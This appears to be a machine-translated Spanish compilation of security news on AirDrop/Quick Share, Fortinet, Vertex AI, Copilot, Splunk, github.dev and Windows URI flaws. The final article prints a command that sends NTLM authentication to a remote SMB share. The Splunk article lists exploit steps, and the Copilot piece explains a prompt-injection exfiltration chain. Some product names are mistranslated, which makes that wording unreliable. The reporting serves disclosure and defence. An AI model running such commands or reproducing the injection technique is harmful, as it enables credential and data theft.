Los fallos de AirDrop y Quick Share permiten que los atacantes cercanos provoquen bloqueos y eludan controles – CYBERDEFENSA.MX

Dos investigadores han encontrado seis fallos de seguridad en Entrega por paracaídas y Compartir rápidolas funciones inalámbricas que transmiten archivos entre dispositivos cercanos sin cables ni red compartida.

Un atacante dentro del alcance inalámbrico, con solo una computadora portátil y sin conexión previa, puede bloquear el servicio compartido en una Mac o iPhone configurado para recibir de cualquier persona, sin toque ni aviso.

La misma investigación encontró fallas en Quick Share que eluden las comprobaciones de sesión de Samsung y provocan un bloqueo potencialmente explotable en la aplicación de Windows de Google.

Las dos funciones se ejecutan dentro de un ecosistema de más de cinco mil millones de dispositivos Apple y Android activos, aunque los errores probados afectan a implementaciones y versiones específicas.

La obra, planteada en un nuevo trabajo de investigación por Arash Ale Ebrahim y Nils Ole Tippenhauer del Centro CISPA Helmholtz para la Seguridad de la Información, es el primero en separar ambas pilas una al lado de la otra, por encima de la capa de radio, donde el descubrimiento se convierte en manejo de sesiones, análisis y decisiones de confianza.

Los arreglos ya comenzaron. Apple corrigió uno de los tres errores de AirDrop y le asignó un CVE, aunque el aviso aún no es público; los otros dos aún se encuentran en divulgación coordinada. Google pagó una recompensa por la falla de Windows y consiguió una corrección de código, con su CVE aún pendiente.

Ciberseguridad

Los dos errores de Samsung fueron entregados a Google y siguen bajo investigación. Al momento de escribir este artículo, no ha surgido ningún informe público sobre la explotación de estas fallas.

Tres formas de acabar con el intercambio de Apple

Las tres fallas de AirDrop terminan en el mismo fallo: eliminan el servicio compartido, el servicio en segundo plano en macOS e iOS que maneja AirDrop. El problema es que este servicio también ejecuta AirPlay, Handoff, Universal Clipboard, Continuity Camera y NameDrop, por lo que una falla destruye todo el conjunto.

El más simple de los tres solo necesita una única solicitud con formato incorrecto enviada a un dispositivo con AirDrop configurado para recibir de «Todos». Envíe esos mensajes de fallo en bucle, aproximadamente uno cada dos segundos, y las funciones permanecerán inactivas mientras el atacante continúe. En la prueba de los investigadores, no se realizó ninguna transferencia AirDrop legítima mientras se ejecutaba el ataque.

Dos de los tres son más que errores de AirDrop, porque viven en marcos compartidos de Apple. El más amplio es un desbordamiento de pila en el analizador de listas de propiedades XML de Foundation, provocado por un pequeño archivo con alrededor de 200 capas anidadas.

Cualquier aplicación de Apple que abra un archivo de ese tipo que no sea de confianza podría acceder a la misma ruta del analizador en macOS, iOS, watchOS, tvOS y visionOS. Los investigadores reprodujeron los fallos de AirDrop en macOS 15.7.4, macOS 26.3, iOS 18.x e iOS 26.3; una versión anterior de iOS 16 no se vio afectada.

Los errores de Quick Share y una solución que falló

En Android, dos fallas en Quick Share de Samsung permitieron a un atacante saltarse el apretón de manos que se supone bloquea una sesión. Se permite que un dispositivo no verificado comience a controlar la conexión antes de que se configure cualquier cifrado.

El otro permite que algunos mensajes de control pasen sin cifrar incluso después de que exista una sesión segura. Un atacante en la misma red Wi-Fi podría usar esa brecha para forzar una conexión a un estado «aceptada», mantenerla viva o hacer que el servidor devuelva valores de IP y puerto proporcionados por el atacante. Ninguno de ellos roba archivos, pero ambos anulan las protecciones que promete el sistema.

Los investigadores los probaron en un Galaxy S23 Ultra y notaron que las versiones de Quick Share de otros fabricantes de Android necesitan una verificación por separado.

La falla más grave está en Quick Share de Google para Windows. Es un error de memoria que surge cuando dos conexiones chocan en el instante correcto, dejando al programa usando una porción de memoria que ya ha desperdiciado.

Ese es el tipo de error que a veces puede convertirse en la ejecución de código atacante, y los investigadores dicen que la ruta es plausible aquí porque una defensa de Windows llamada Control Flow Guard está desactivada en la aplicación.

Confirmaron un fallo pero no crearon un exploit que funcionara. Google lo reconoció, pagó una recompensa y ahora consiguió una solución; el CVE aún está pendiente.

No es la primera vez que Quick Share para Windows está aquí. SafeBreach informó un Cadena de ejecución de código de 10 errores en 2024 (CVE-2024-38271 y CVE-2024-38272), luego regresó en 2025 para evitar las correcciones de Google (CVE-2024-10668). El nuevo uso después de la liberación agrega otra entrada a un patrón del mismo componente que se parchea y prueba nuevamente.

Ciberseguridad

El detalle que duele: el propio código fuente del programa contenía un comentario que admitía un error anterior en ese lugar exacto, que decía «Tuvimos un error aquí, causado por una carrera con EncryptionRunner». La solución escrita para solucionarlo reintrodujo el mismo tipo de falla.

El riesgo es local, no remoto

El límite clave es el alcance. Se trata de ataques locales, no de Internet: el atacante debe estar a una distancia de entre 10 y 30 metros o en la misma red local.

Si bien es menos radical que un error remoto, un solo atacante en un lugar concurrido como un aeropuerto, un tren o una conferencia aún puede llegar a muchos dispositivos a la vez. Los investigadores probaron sólo su propio hardware y han lanzaron sus herramientas abiertamente para que otros equipos de seguridad puedan reproducir los hallazgos.

En una Mac o iPhone, instale la última actualización de Apple (iOS y macOS 26.5.2 se enviaron el 29 de junio) y mantenga AirDrop en «Solo contactos» o desactivado en lugar de «Todos», que es la configuración que necesitan estas fallas. En Quick Share, déjelo fuera de la visibilidad de «Todos» cuando no esté recibiendo activamente un archivo y actualice la aplicación de Windows ahora que la solución de Google ha llegado.

Dos sistemas construidos de forma independiente fallaron de la misma manera: fallas en el código que se dirige a la red y controles de seguridad integrados en manejadores de mensajes individuales en lugar de aplicarse desde el principio. También llega en un momento incómodo.

La interoperabilidad AirDrop de Google para Quick Share ya se está implementando en los principales teléfonos Android, y solo funciona cuando el iPhone está configurado para recibir de «Todos», la configuración exacta que expone los errores de falla de AirDrop.

Apple parchea la falla de Studio Buds que permite a atacantes cercanos espiar a través del micrófono – CYBERDEFENSA.MX

Apple ha actualizado sus auriculares inalámbricos Beats Studio Buds para solucionar una vulnerabilidad de alta gravedad que podría ser aprovechada por piratas informáticos cercanos para espiar a los usuarios.

La vulnerabilidad, rastreada como CVE-2025-20701 (Puntuación CVSS: 8,8), se refiere a un caso de autorización incorrecta que afecta al SDK de audio Bluetooth de Airoha que permite emparejar un dispositivo de audio Bluetooth sin el consentimiento del usuario.

Explotación exitosa La falla podría conducir a una escalada remota de privilegios sin requerir privilegios de ejecución adicionales o interacción del usuario. El problema se solucionó en la actualización de firmware Beats 1B211.

«Un atacante dentro del alcance de Bluetooth puede escuchar a través del micrófono de un dispositivo que aún no está emparejado y que busca activamente solicitudes de emparejamiento», dijo Apple en un aviso publicado esta semana.

Los detalles de la vulnerabilidad surgieron por primera vez en junio de 2025 cuando los investigadores de ERNW GmbH Dennis Heinze y Frieder Steinmetz lo marcó junto con otros dos defectos en SoC Airoha (CVE-2025-20700 y CVE-2025-20702) en la conferencia de seguridad TROOPERS en Alemania. Parches similares fueron liberado por Jabra en diciembre de 2025.

Ciberseguridad

«En la mayoría de los casos, estas vulnerabilidades permiten a los atacantes apoderarse completamente de los auriculares a través de Bluetooth. No se requiere autenticación ni emparejamiento», señalaron los investigadores en ese momento. «Las vulnerabilidades pueden activarse a través de Bluetooth BR/EDR o Bluetooth Low Energy (BLE). Estar dentro del alcance de Bluetooth es la única condición previa. Es posible leer y escribir en la RAM y la memoria flash del dispositivo».

«Estas capacidades también permiten a los atacantes secuestrar relaciones de confianza establecidas con otros dispositivos, como el teléfono emparejado con los auriculares. Estas capacidades permiten múltiples escenarios de ataque».

Nuevo exploit no parcheable descubierto en los chips A12 y A13 de Apple

La revelación se produce cuando Paradigm Shift reveló un novedoso iPhone. ROM segura (también conocida como BootROM) que afecta a los chips A12 y A13 de Apple, además de un exploit de prueba de concepto (PoC) con nombre en código usbliter8.

«El exploit aprovecha tanto un error de hardware en el controlador USB como un fallo de configuración específico presente en el firmware del dispositivo», afirma la empresa europea de ciberseguridad. dicho. «Como estas vulnerabilidades residen en código inmutable, los usuarios afectados deben ser conscientes de que migrar a un hardware más nuevo sigue siendo la mitigación más eficaz».

En un nivel alto, el exploit funciona aprovechando una falla en el controlador USB integrado en los SoC de Apple. El controlador utiliza un buffer de memoria para almacenar los paquetes SETUP y OUT transmitidos al inicio de la transferencia de datos. La investigación encontró que es posible desencadenar una primitiva de desbordamiento de buffer aprovechando el hecho de que el controlador también acepta paquetes más pequeños, lo que permite efectivamente la inyección y ejecución de código malicioso bajo ciertas condiciones.

El problema, señaló Paradigm Shift, probablemente tenga su origen en el hardware del controlador USB, no en el software de Apple. El chip A11 no es susceptible a la vulnerabilidad, mientras que se confirma que A12 y A13 son susceptibles.

Ciberseguridad

«La diferencia es que el controlador USB A11 restablece manualmente la dirección DMA a su valor inicial después de recibir cada paquete», dijo la compañía. «En A12 y A13, USB DART está configurado en modo bypass, lo que nos permite sobrescribir datos SRAM libremente. Por el contrario, A14 y generaciones posteriores parecen configurar DART correctamente en SecureROM, lo que hace que la vulnerabilidad no se pueda explotar».

El exploit usbliter8 es comparable a checkm8, el exploit BootROM de este tipo conocido públicamente que afectó a todos los dispositivos iOS, desde el iPhone 4s (chip A5) hasta el iPhone 8 y el iPhone X (chip A11).

«El exploit usbliter8 demuestra que incluso en las generaciones más recientes de SecureROM, incluidas aquellas protegidas por Autenticación de punteroaún se pueden aprovechar errores sutiles de hardware para lograr la ejecución completa del código y romper la cadena de confianza», dijo Paradigm Shift.

«La seguridad de BootROM es crítica: las vulnerabilidades en este nivel pueden comprometer la integridad de todo el dispositivo. Aunque usbliter8 no afecta a SEP en sí, abre vectores de ataque más amplios para comprometer Secure Enclave».

Los atacantes atacaron un par de vulnerabilidades críticas de Fortinet que el proveedor reveló en abril

Según los investigadores, los atacantes están explotando activamente un par de vulnerabilidades críticas de Fortinet en FortiSandbox, un producto de seguridad que los clientes utilizan para identificar y defenderse contra amenazas emergentes en su red.

Fortinet reveló y solucionó las vulnerabilidades. CVE-2026-39808 y CVE-2026-39813 – en abril, pero no ha confirmado la explotación. La empresa no respondió a una solicitud de comentarios.

VulnCheck dijo que observó por primera vez la explotación de CVE-2026-39808, una vulnerabilidad de inyección de comandos del sistema operativo, el 9 de junio. Los investigadores de la firma de inteligencia de amenazas Defused confirmaron la explotación del mismo defecto el 11 de junio y observaron CVE-2026-39813, una vulnerabilidad de recorrido de ruta, el 15 de junio.

Simo Kohonen, fundador y director ejecutivo de Defused, dijo que la empresa observó 49 eventos de explotación de 11 IP distintas contra el par de defectos durante un período de seis días. Los atacantes también están intentando explotar una tercera vulnerabilidad de FortiSandox, CVE-2026-25089que Fortinet reveló y parchó el 9 de junio, añadió.

Los investigadores no han determinado cuántos clientes de Fortinet se ven afectados directamente, pero hasta ahora la actividad posterior a la explotación, que incluye verificación y reconocimiento, generalmente precede a una ola más intensa de ataques, dijo Kohonen.

Defused rastreó la actividad maliciosa hasta 13 fuentes originarias de nueve países, incluidos China, Corea del Sur, Taiwán, India, Singapur, Alemania, Países Bajos, Canadá y Bulgaria.

«La difusión y las pruebas de concepto de acciones apuntan a múltiples operadores independientes en infraestructura de productos básicos, no a una sola campaña», dijo Kohonen a CyberScoop.

Los investigadores dijeron que no han observado evidencia de que los atacantes estén encadenando las vulnerabilidades, pero los exploits funcionan entre sí al eludir la autenticación, escalar privilegios y permitir a los atacantes ejecutar comandos arbitrarios.

Los exploits, que varias empresas de investigación han observado en honeypots, marcan las primeras etapas de otra posible ola de ataques dirigidos a clientes de Fortinet.

La Agencia de Seguridad de Infraestructura y Ciberseguridad ha señalado 26 vulnerabilidades de Fortinet en su catálogo de vulnerabilidades explotadas conocidas desde 2021. Hasta el miércoles, la agencia no ha añadido ninguno de los nuevos defectos de Fortinet a su catálogo.

Los investigadores advierten que las vulnerabilidades afectan a un dispositivo importante en la arquitectura de seguridad empresarial.

«Los dispositivos Sandbox suelen ser sistemas confiables que se utilizan para analizar contenido sospechoso y admitir flujos de trabajo de detección más amplios, lo que significa que un compromiso podría proporcionar a los atacantes un acceso elevado dentro de un entorno sensible a la seguridad», dijo Chris Doyle, jefe de seguridad y cumplimiento de JupiterOne, en un correo electrónico.

Kohonen agregó: «FortiSandbox es de gran valor porque ingiere y se conecta a otros dispositivos Fortinet».

Matt Kapko

Escrito por Matt Kapko

Matt Kapko es reportero de CyberScoop. Su ámbito incluye delitos cibernéticos, ransomware, defectos de software y (mala) gestión de vulnerabilidades. El californiano de toda la vida comenzó su carrera periodística en 2001 con paradas anteriores en Cybersecurity Dive, CIO, SDxCentral y RCR Wireless News. Matt tiene una licenciatura en periodismo e historia de la Universidad Estatal de Humboldt.

La falla del SDK de Google Vertex AI permite a los atacantes secuestrar cargas de modelos a través de Bucket Squatting – CYBERDEFENSA.MX

Una falla en el SDK de Google Cloud Vertex AI para Python permitió a un atacante sin acceso al proyecto de una víctima secuestrar el modelo de aprendizaje automático de la víctima, cargar y ejecutar código dentro de la infraestructura de servicio de Google.

Unidad 42 de Palo Alto Networks, que encontró y reportado El error a través del programa de recompensas por errores de Google, llama a la técnica «Pepinillo en el medio» y dijo que no vio ninguna explotación en la naturaleza. Google lo ha parcheado; si usa el SDK, actualice a la versión 1.148.0 o posterior.

El atacante solo necesitaba un proyecto propio de Google Cloud y el ID del proyecto de la víctima, que suele ser público. Sin credenciales, sin phishing, sin punto de apoyo en el objetivo.

La falla estaba en cómo el SDK eligió un depósito temporal de Cloud Storage para la carga de modelos. Si un usuario no configuró un depósito, el SDK generó un nombre predecible a partir del ID del proyecto y la región, como región-ensayo-vértice-del-proyecto. Comprobó si ese cubo existía, pero no si la víctima era su propietario.

Debido a que los nombres de los depósitos son globalmente únicos, un atacante podría crear primero el depósito esperado en su propio proyecto. El SDK de la víctima luego cargaría los archivos del modelo en el depósito del atacante. Luego, el atacante podría reemplazar el modelo cargado por uno malicioso.

Ciberseguridad

Muchos modelos de Python ML se guardan con conservar en vinagre o biblioteca de trabajoque puede ejecutar código cuando se carga un archivo. Cuando Vertex AI cargó más tarde el modelo intercambiado, el código del atacante se ejecutó dentro del contenedor de servicio.

El ataque dependía de la velocidad. La Unidad 42 midió aproximadamente 2,5 segundos entre la carga de la víctima y Vertex AI leyendo el archivo. En su prueba de concepto, el atacante utilizó una función en la nube que se activó después de la carga y reemplazó el modelo en 1,4 segundos, antes de que Vertex AI lo leyera.

Luego, la carga útil robó un token OAuth del servidor de metadatos del contenedor de servicio y lo envió al atacante. En el entorno de prueba de la Unidad 42, ese token no se limitó a la implementación comprometida. Podría acceder a otros artefactos del modelo en el mismo proyecto de inquilino administrado por Google, incluido un modelo TensorFlow completo con pesos entrenados, así como metadatos de BigQuery, listas de acceso, registros de inquilinos, nombres de clústeres de GKE y rutas de imágenes de contenedores internos.

El ataque solo funcionó bajo condiciones específicas: el depósito de preparación predeterminado de la víctima no existía aún en esa región y la víctima abandonó el cubo_puesta en escena parámetro desarmado. El primero es común para un nuevo proyecto en Vertex AI en una región.

El segundo depende de que el desarrollador confíe en el valor predeterminado del SDK en lugar de nombrar su propio depósito.

La Unidad 42 informó la falla a través del Programa de recompensa por vulnerabilidades de Google el 5 de marzo de 2026. Probó las versiones 1.139.0 y 1.140.0, las últimas disponibles en ese momento, y encontró que ambas eran vulnerables.

Google envió una solución inicial en v1.144.0 el 31 de marzo, agregando un uuid4 aleatorio al nombre del depósito. Completó la solución en v1.148.0 el 15 de abril, se agregó la verificación de propiedad del depósito para bloquear la okupación del depósito en Model.upload(). Al momento de su publicación, ni Unit 42 ni los boletines de seguridad Vertex AI de Google enumeran un CVE para el problema.

Ciberseguridad

Actualice a 1.148.0 o posterior para que la verificación de propiedad esté activa. Además, establezca un staging_bucket explícito en una ubicación de Cloud Storage que controle al cargar modelos. Debido a que la lógica defectuosa reside en el SDK del cliente, verifique la versión de google-cloud-aiplatform dondequiera que se ejecute, incluidos los cuadernos, los trabajos de CI y los canales de capacitación, no solo los servicios de producción.

Es la segunda falla con nombre de depósito predecible que surge en Vertex AI este año. Google parcheado CVE-2026-2473 en febrero, un error separado en Vertex AI Experiments que también permitió la ejecución de código entre inquilinos, el robo de modelos y el envenenamiento.

El trabajo anterior de la Unidad 42 sobre los permisos de agente de servicio predeterminados de Vertex AI trazó una ruta relacionada desde un agente de IA implementado hasta los datos de clientes e inquilinos.

Los atacantes aprovechan tres fallas de FortiSandbox de Fortinet, una de ellas corregida la semana pasada – CYBERDEFENSA.MX

Los malos actores están explotando múltiples vulnerabilidades de seguridad en Fortinet FortiSandbox, según la firma de inteligencia de amenazas Defused Cyber.

en una publicación compartido en X, la compañía dijo que había observado la explotación de CVE-2026-39813, CVE-2026-39808 y CVE-2026-25089 durante las últimas 24 horas.

CVE-2026-39813 (puntaje CVSS: 9.1) hace referencia a una vulnerabilidad de recorrido de ruta en la API JRPC de FortiSandbox que podría permitir a un atacante no autenticado eludir la autenticación mediante solicitudes HTTP especialmente diseñadas.

La segunda falla, CVE-2026-39808 (puntaje CVSS: 9.1), es un caso de inyección de comandos del sistema operativo que podría permitir a un atacante no autenticado ejecutar código o comandos no autorizados a través de solicitudes HTTP diseñadas. Fortinet parchó ambas vulnerabilidades en abril de 2026.

Ciberseguridad

CVE-2026-25089 (puntuación CVSS: 9.1), por otro lado, se solucionó la semana pasada, y Fortinet lo describió como una inyección de comando del sistema operativo que afecta a FortiSandbox, FortiSandbox Cloud y FortiSandbox PaaS WEB UI y que podría permitir que un atacante no autenticado ejecute comandos no autorizados a través de solicitudes HTTP específicamente diseñadas.

Defused Cyber ​​señaló que el exploit para CVE-2026-25089 no solo muestra signos de haber sido desarrollado utilizando un modelo de inteligencia artificial (IA), sino que también es defectuoso. No se ha revelado públicamente un exploit funcional para la vulnerabilidad.

Las vulnerabilidades en los dispositivos Fortinet se han convertido en un pararrayos para los atacantes en los últimos años. En abril de 2026, Fortinet lanzó parches fuera de banda para una falla de seguridad crítica que afecta a FortiClient EMS (CVE-2026-35616, puntuación CVSS: 9.1) que, según dijo, había sido explotada en la naturaleza.

La falla del copiloto de Microsoft 365 con un solo clic podría haber permitido a los atacantes robar correos electrónicos, archivos y códigos MFA

Un solo clic en un enlace confiable de Microsoft podría haber permitido a un atacante extraer correos electrónicos, detalles del calendario y archivos indexados de Microsoft 365 Copilot Enterprise Search.

Los investigadores de Varonis Threat Labs encadenaron tres errores en una ruta de exfiltración con un solo clic que llaman Buscarfuga. Debido a que el enlace apuntaba a un dominio microsoft.com real, era poco probable que las herramientas tradicionales de filtrado de URL y antiphishing lo marcaran.

Sin mensaje, sin contraseña, sin segundo clic. Microsoft asignado CVE-2026-42824 y lo marcó crítico; las puntuaciones CVSS fueron más bajas y en desacuerdo, 6,5 de Microsoft y 7,5 de Base de datos nacional de vulnerabilidad. La empresa mitigó la falla en su backend, por lo que los clientes no tienen nada de qué preocuparse, y Varonis presentó una prueba de concepto, una explotación no observada.

Tres errores, un clic

El aviso de Microsoft describe la falla como una inyección de comando que puede exponer información a través de una red. En la práctica, SearchLeak acumula una debilidad específica de la IA en dos errores web antiguos, y cada enlace es necesario para el siguiente.

El punto de entrada es el q parámetro en la URL de búsqueda de Copilot Enterprise. Está destinado a una consulta en lenguaje natural, pero Copilot lee todo lo que contiene como instrucciones, no solo una cadena de búsqueda.

varonis llama a esto Inyección de parámetro a mensaje. Un atacante escribe una URL que le indica a Copilot que busque en el buzón, tome un título de correo electrónico y lo coloque dentro de una URL de imagen. La víctima no escribe nada. Hacen clic y Copilot hace el trabajo.

Ciberseguridad

Lo siguiente es una condición de carrera en cómo se representa la respuesta. La barrera de seguridad de Microsoft envuelve la producción de Copilot bloquea para que el navegador trate el marcado como texto. El problema es el tiempo: el ajuste ocurre después de que Copilot termina de generar, pero el navegador procesa la transmisión a medida que llega. el inyectado La etiqueta se dibuja y activa su solicitud antes de que se ejecute el desinfectante. Cuando se neutraliza la salida, la solicitud ya se ha ido.

El último enlace pasa los datos más allá de la Política de seguridad de contenido de la página. El CSP en m365.cloud.microsoft bloquea imágenes de dominios arbitrarios, pero incluye en la lista blanca *.bing.com. El punto final «Buscar por imagen» de Bing acepta la URL de una imagen y la recupera del lado del servidor para analizarla. Apunte esa recuperación al servidor de un atacante con el texto robado codificado en la ruta y Bing lo recupera. El CSP del navegador nunca se aplica porque la solicitud proviene de la infraestructura de Bing. Bing se convierte en el proxy de exfiltración. La lista de permitidos de CSP se esconde.

En conjunto: la víctima hace clic, Copilot busca sus datos, la respuesta incorpora un valor como un asunto de correo electrónico en una URL de imagen de Bing, el navegador llama a Bing durante la transmisión y Bing extrae la URL del atacante. El atacante lo lee de sus propios registros, por ejemplo, una solicitud de /Your_Security_Code_847291/img.png.

Lo que obtiene un atacante

Copilot Enterprise puede alcanzar todo lo que el usuario que haya iniciado sesión pueda alcanzar, a través de su acceso a Microsoft Graph, y el atacante hereda ese alcance sin siquiera iniciar sesión.

El premio más urgente se encuentra en la bandeja de entrada: códigos de un solo uso, códigos MFA y enlaces para restablecer contraseñas, que a menudo siguen siendo válidos durante unos minutos. Un script que los saca de un registro mientras la ventana está abierta puede hacerse cargo de una cuenta antes de que alguien se dé cuenta.

Ciberseguridad

El mismo acceso también llega a las invitaciones del calendario, notas de reuniones y cualquier archivo de SharePoint o OneDrive que Copilot haya indexado, donde se encuentran los datos salariales, las cifras de ganancias y los planes de adquisición.

SearchLeak es la segunda vez que Varonis muestra este patrón. El investigador de Varonis, Dolev Taler, demostró la misma técnica de un clic en un ataque Reprompt anterior contra Copilot Personal, y resistió contra Enterprise Search a pesar de las barreras de seguridad adicionales que se supone que debe imponer ese nivel.

El mismo patrón apareció en EchoLeak (CVE-2025-32711), el error de fuga de datos de Copilot sin clic que Aim Security reveló en 2025. SSRF y carreras de desinfectantes son clases de errores antiguos; la inyección rápida es la pieza nueva y hace que estén accesibles nuevamente.

Microsoft mitigó la falla en su backend y, debido a que Copilot Enterprise es un servicio administrado, los administradores de inquilinos no pueden parchear ni reconfigurar las partes que fallaron. Lo que pueden hacer es observar y contener.

Busque URL de Copilot Search que contengan cargas útiles codificadas o HTML en el parámetro q, y solicitudes salientes inusuales a los puntos finales de imágenes de Bing. Reforzar la gobernanza del acceso a los datos para que Copilot indexe menos, lo que reduce lo que puede alcanzar cualquier filtración futura.

Una falla crítica de Splunk Enterprise permite a los atacantes ejecutar código sin autenticación – CYBERDEFENSA.MX

Splunk ha publicado actualizaciones de seguridad para abordar una falla de seguridad crítica en Splunk Enterprise que podría explotarse para realizar operaciones de archivos no autenticados e incluso la ejecución remota de código.

La vulnerabilidad, rastreada como CVE-2026-20253tiene una calificación de 9,8 en el sistema de puntuación CVSS.

«En las versiones de Splunk Enterprise inferiores a 10.2.4 y 10.0.7, un usuario no autenticado podría crear o truncar archivos arbitrarios a través de un punto final de servicio secundario de PostgreSQL», Splunk dicho en una alerta esta semana.

«La vulnerabilidad existe porque el punto final del servicio complementario PostgreSQL carece de controles de autenticación, lo que permite que cualquier usuario accesible en la red invoque operaciones de archivos sin credenciales».

Ciberseguridad

El problema se ha solucionado en las siguientes versiones:

  • Splunk Enterprise 10.0.0 a 10.0.6: corregido en 10.0.7
  • Splunk Enterprise 10.2.0 a 10.2.3: corregido en 10.2.4
  • Splunk Enterprise 10.4: no afectado

Splunk, que es parte de Cisco, dijo que Splunk Cloud no se ve afectado por la vulnerabilidad ya que los sidecars de Postgres no se utilizan en el producto.

De qué se trata el defecto

El viernes, mira Tower Labs liberado detalles técnicos adicionales de CVE-2026-20253, que indican que podría explotarse para lograr la ejecución remota de código previamente autenticado en sistemas susceptibles a través de los puntos finales «/v1/postgres/recovery/backup» y «/v1/postgres/recovery/restore».

La cadena de ataque funciona de la siguiente manera:

  • Conéctese a una base de datos controlada por un atacante y descargue su contenido en un archivo arbitrario usando el punto final /backup
  • Cargue el volcado de la base de datos controlada por el atacante en la instancia local de PostgreSQL utilizando el punto final /restore incluyendo un argumento «passfile» que especifique la ruta a un «.pgpass«archivo («/opt/splunk/var/packages/data/postgres/.pgpass») que contiene la contraseña para el usuario «postgres_admin»
  • Las consultas SQL definidas en el volcado de la base de datos serán ejecutadas por la instancia PostgreSQL de Splunk

Un atacante podría convertir esta debilidad en un arma para definir una nueva función que usa lo_exportar – una función utilizada para extraer un BLOB de la base de datos y guardarlo como un archivo en el sistema de archivos – para escribir contenido controlado por el atacante en un archivo, tras lo cual la función se ejecuta durante el proceso de restauración.

«En este punto, podemos autenticarnos, restaurar el SQL controlado por el atacante e interactuar con la base de datos local», dijeron los investigadores de seguridad Piotr Bazydlo y Yordan Ganchev. «Una vez que pudimos restaurar el SQL controlado por el atacante en la instancia local de PostgreSQL, rápidamente armamos una plantilla de volcado de base de datos que nos proporcionó una escritura de archivo controlada».

Ciberseguridad

Armado con una primitiva de escritura de archivos arbitraria en el sistema de archivos Splunk, un atacante podría escalar aún más a la ejecución remota de código sobrescribiendo un script de Python que Splunk ejecuta con frecuencia (por ejemplo, «/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py») para incluir la carga maliciosa.

La secuencia completa de acciones se encuentra a continuación:

  • Cree una base de datos y configúrela de modo que un usuario pueda autenticarse sin contraseña y otorgarle permisos suficientes para invocar funciones como lo_export.
  • Utilice el punto final /backup para colocar un volcado de la base de datos remota en el sistema de archivos Splunk
  • Utilice el punto final /restore para cargar el volcado de la base de datos malicioso, desencadenar la ejecución de la función maliciosa durante el proceso de restauración y escribir un script Python controlado por el atacante en el sistema de archivos Splunk.

Aunque no hay evidencia de que la falla haya sido explotada en la naturaleza, la disponibilidad de los detalles específicos de la vulnerabilidad puede ser suficiente para impulsar a los actores de amenazas a desencadenar intentos oportunistas. Es esencial que los usuarios actúen rápidamente para aplicar las correcciones y mantenerse protegidos.

El ataque de desarrollo de GitHub con un solo clic permite a los atacantes robar tokens completos de OAuth de GitHub – CYBERDEFENSA.MX

Investigadores de ciberseguridad han revelado un ataque con un solo clic a través de Microsoft Visual Studio Code (VS Code) que permite robar el token de GitHub de un usuario.

«Con solo hacer clic en un enlace, es posible que un atacante robe un token de GitHub que puede leer y escribir en sus repositorios, incluidos los privados», dijo el investigador de seguridad Ammar Askar. dicho.

GitHub admite una función llamada GitHub.dev que corre como un editor de código fuente ligero basado en web en la zona de pruebas del navegador web iniciando un entorno VS Code. Permite a los usuarios enviar solicitudes de extracción y realizar confirmaciones.

Ciberseguridad

«Esta funcionalidad se logra mediante la PUBLICACIÓN de github.com a través de un token OAuth en github.dev que le permite interactuar con GitHub en su nombre», dijo Askar. «El token no tiene como alcance el repositorio particular con el que interactuó, lo que significa que tiene acceso completo a todos los demás repositorios a los que tiene acceso».

En pocas palabras, la vulnerabilidad permite a los atacantes instalar extensiones maliciosas de VS Code que roban tokens GitHub OAuth cuando se pasan a GitHub.dev mediante la explotación de un mecanismo de paso de mensajes entre la ventana principal de VS Code y vistas web. Las vistas web se utilizan para representar vistas previas de Markdown o editar cuadernos de Jupyter.

Específicamente, el exploit ejecuta JavaScript malicioso dentro de una vista web que no es de confianza para simular pulsaciones de teclas (también conocidas como eventos de pulsación de teclas) en la ventana principal del editor, abre la paleta de comandos activando «Ctrl+Shift+P» e instala una extensión controlada por el atacante que extrae el token GitHub OAuth enviado a GitHub.dev y consulta la API de GitHub para enumerar todos los repositorios privados a los que puede acceder la víctima.

Vale la pena señalar que el enfoque también aprovecha una característica de VS Code llamada extensiones de espacio de trabajo local que permite instalar una extensión directamente sin presentar ningún adicional mensaje de diálogo de confianza siempre y cuando esté ubicado en la carpeta «.vscode/extensions» dentro de ese espacio de trabajo, evitando efectivamente la verificación de confianza del editor.

Ciberseguridad

«Sin embargo, esto es sólo un pequeño inconveniente, una de las cosas que las extensiones pueden hacer como parte de su paquete.json es contribuir con combinaciones de teclas adicionales a VS Code», explicó el investigador. «Dado que podemos activar combinaciones de teclas de manera confiable, podemos simplemente agregar una combinación de teclas para cualquier comando de VS Code que queramos, como instalar una extensión y omitir la verificación del editor confiable».

El investigador también señaló que GitHub era notificado de la vulnerabilidad el 2 de junio de 2026, una hora después de la cual los detalles del problema se hicieron públicos, citando a Microsoft manejo de Errores relacionados con VS Code en el pasado. Al momento de escribir este artículo, Microsoft reconoció la vulnerabilidad y señaló que está trabajando en una solución.

«Para aclarar, este problema no afecta a VS Code Desktop», dijo Alexandru Dima, gerente de ingeniería de software asociado de Microsoft.

Una vulnerabilidad de URI de búsqueda de Windows sin parches permite a los atacantes robar hashes NTLMv2 – CYBERDEFENSA.MX

Investigadores de ciberseguridad han revelado detalles de un problema sin parchear que podría explotarse para revelar el hash NTLMv2 de un usuario al atacante.

Como en el caso de CVE-2026-33829que afectó al controlador ms-screensketch: URI de la herramienta de recorte de Windows, el problema recién señalado reside en la búsqueda: controlador URI, según Cazadora.

CVE-2026-33829 hace referencia a una vulnerabilidad de suplantación de identidad que podría exponer información confidencial a un actor no autorizado. Microsoft lo parchó en abril de 2026.

«Un atacante podría inducir al usuario a hacer clic en un enlace especialmente diseñado en un navegador web u otra fuente URL, incrustándolo en una página web o mensaje de correo electrónico», señaló Microsoft en su aviso en ese momento.

«Si el usuario aprueba el lanzamiento del enlace, la URL diseñada puede inducir a la computadora a conectarse a un servidor SMB elegido por el atacante, lo que revelaría el hash NTLMv2 del usuario al atacante, quien podría usarlo para autenticarse como usuario».

Ciberseguridad

Específicamente, el problema tenía que ver con el hecho de que el controlador de URI de la herramienta de recorte aceptó un parámetro «filePath», no pudo validarlo y llegaría a cualquier ruta de la Convención de nomenclatura universal (UNC) que se le pasara. Esto, a su vez, podría activar la autenticación NTLM y exponer el hash Net-NTLMv2 de la víctima al atacante.

La deficiencia recién descubierta logra el mismo objetivo final usando «buscar:» y «crumb=ubicación:» en lugar de «filePath» usando un comando como el siguiente:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

«Utilizó el mismo mecanismo de fuga NTLM, produjo la misma fuga Net-NTLMv2, tenía los mismos requisitos previos y tenía la misma calificación Moderada», dijo el investigador de Huntress, Andrew Schwartz. Vale la pena señalar que el uso de un parámetro «crumb» para robar el hash (CVE-2023-35636) era documentado por Varonis en febrero de 2024.

